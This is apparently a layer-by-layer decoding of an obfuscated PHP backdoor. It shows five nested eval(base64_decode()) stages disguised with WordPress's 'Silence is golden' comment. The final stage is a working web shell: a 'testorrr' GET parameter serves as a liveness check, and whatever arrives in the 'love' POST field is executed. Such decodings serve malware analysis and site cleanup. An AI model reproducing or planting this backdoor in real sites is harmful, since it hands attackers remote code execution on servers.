Decrypted code level 1:

  eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCdaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ2RhV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMlJoVjBad2IxbHJUbTloVm14WlZHMTRUMkZzU20xWGEyUlhZVzFKZVZWdGVFeFJNbEp2Vm1wR2MyUnNUbkpYVkZaVVVtdHdXRlpYTVV0VE1EQjRVMjVPV21Wck5WUmFSekZQWkZaT2RXSkZkRTVXUlVVeFZsVmFUMkZ0VmtaalJGWnBVa2RTUzFWcVJtRmpWbXhXV1hwU1lVMUhPVFZaVkVwcllWWktObUV6YkZoaVJUVkVWR3hrU21Wc1dsaE9Wa0pzVmxWd2VsZHNWbXRqTURGR1QxUldVbUZ0ZUV0VlZtaERaREZrZEdKSE9XcFNNREUyVmtjeE5HRXhSWGxhU0VwWVVrVmFSRlpWV2xabFJsWjBVMnQwVG1KdFozbFhhMk40Vm0xS2MyRkdVbWhOTUVweldrUk9RMk14Y0VoTlZXUnFUVWhTUlZaWE1XRldiRXBWWWtaV1YyRXhjRFpaYlRGTFUwVTVWVk50UmxaTmJFcHlWWHBHVTJWc1RYaGpSbXhvVTBWS2NsVnJhRTlVUm5CelVsUnNVVlV5VG5kVE1WSjZVRk5qY0V0VWN6MG5LU2s3JykpOw=='));// Silence is golden.

Decrypted code level 2:

  eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCdaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ2RhV0Zwb1lrTm9hVmxZVG14T2FsSm1Xa2RXYW1JeVVteExRMlJvVmpGc2RsTnJXVFZUUmtwWFZXMUtTMDB4U25OWmVrNVRaRzFPZFZOdWJFdE5WRUUxVlVaT2FtVkZjRFZpUkdSS1VqRmFjVmxWWXpSYU1HOTVZVEprYVZKNmEzbFhiRTVEVGxkSmVsWlhOVkJsVlVweldsVmtjMDFGT1RWUmFteEtVVmhDZDFkdGJHOWpSMDE2VkcxNGExRXlaSEpYUkVaRFZVWlZlRlZ0U2t0TmJtZ3lXa2N4Vm1Kc2FGUmhNMEpzWkROQ2MxcEhNVWRqTUhSRVZXMWFWbEpVYkZWV2ExcDZZbTFLU0U5VVNtRlZNbEpyVXpGU2VsTXhjRmxoU0VKclVraE9URnBzUlRsUVUyTndTMVJ6UFNjcEtUcz0nKSk7'));// Silence is golden.

Decrypted code level 3:

  eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCdaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ2RoVjFsdlNrWTVTRkpXVW1KS00xSnNZek5TZG1OdVNubEtNVEE1VUZOamVFcDViRGRKUjFacVlVYzRaMG95YTJkaVJ6a3lXbE5DTldJelZXNVBlVUpzWlVkc01FOTVRamxKUVhCd1dtbG9jR016VG14a1EyZHJXREZDVUZVeFVtSktNbmgyWkcxVmJsaFRhM0JsZDNCc1pHMUdjMHREVW1aVlJUbFVWa1p6Ym1KSE9USmFVMlJrUzFSelMxcFlhSEJrUkhOTFpsRTlQU2NwS1RzPScpKTs='));// Silence is golden.

Decrypted code level 4:

  eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCdhV1lvSkY5SFJWUmJKM1JsYzNSdmNuSnlKMTA5UFNjeEp5bDdJR1ZqYUc4Z0oya2diRzkyWlNCNWIzVW5PeUJsZUdsME95QjlJQXBwWmlocGMzTmxkQ2drWDFCUFUxUmJKMnh2ZG1VblhTa3Bld3BsZG1Gc0tDUmZVRTlUVkZzbmJHOTJaU2RkS1RzS1pYaHBkRHNLZlE9PScpKTs='));// Silence is golden.

Decrypted code level 5:

  eval(base64_decode('aWYoJF9HRVRbJ3Rlc3RvcnJyJ109PScxJyl7IGVjaG8gJ2kgbG92ZSB5b3UnOyBleGl0OyB9IAppZihpc3NldCgkX1BPU1RbJ2xvdmUnXSkpewpldmFsKCRfUE9TVFsnbG92ZSddKTsKZXhpdDsKfQ=='));// Silence is golden.

  if($_GET['testorrr']=='1'){ echo 'i love you'; exit; } 
if(isset($_POST['love'])){
eval($_POST['love']);
exit;
}// Silence is golden.